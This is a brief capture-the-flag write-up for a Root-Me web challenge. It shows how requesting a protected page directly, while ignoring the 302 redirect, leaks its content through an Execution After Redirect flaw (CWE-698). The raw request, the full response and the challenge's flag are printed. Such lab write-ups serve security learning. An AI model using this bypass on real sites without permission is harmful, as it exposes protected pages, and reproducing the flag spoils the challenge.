HTTP - Improper redirect

Lab: https://www.root-me.org/en/Challenges/Web-Server/HTTP-Improper-redirect

- Accessing the lab, try to login and the response always return unauthorized
- However, in the descripton, we jave to access the index file, so i call API to /web-serveur/ch32/ and it will show the flag

```
POST /web-serveur/ch32/ HTTP/1.1
Host: challenge01.root-me.org
Content-Length: 0
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://challenge01.root-me.org
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/we
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge01.root-me.org/web-serveur/ch32/login.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
```

```
HTTP/1.1 302 Found
Server: nginx
Date: Thu, 12 Sep 2024 09:12:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Location: ./login.php?redirect
Content-Length: 547

<html>
  <body>
    <link rel='stylesheet' property='stylesheet' id='s' type='text/css'
    href='/template/s.css' media='all' />
    <iframe id='iframe' src='https://www.root-me.org/?page=externe_header
    '>
    </iframe>
    <h1>
      Welcome !
    </h1>

    <p>
      Yeah ! The redirection is OK, but without exit() after the
      header('Location: ...'), PHP just continue the execution and send
      the page content !...
    </p>
    <p>
      <a href="http://cwe.mitre.org/data/definitions/698.html">
        CWE-698: Execution After Redirect (EAR)
      </a>
    </p>
    <p>
      The flag is : ExecutionAfterRedirectIsBad
    </p>
  </body>
</html>
```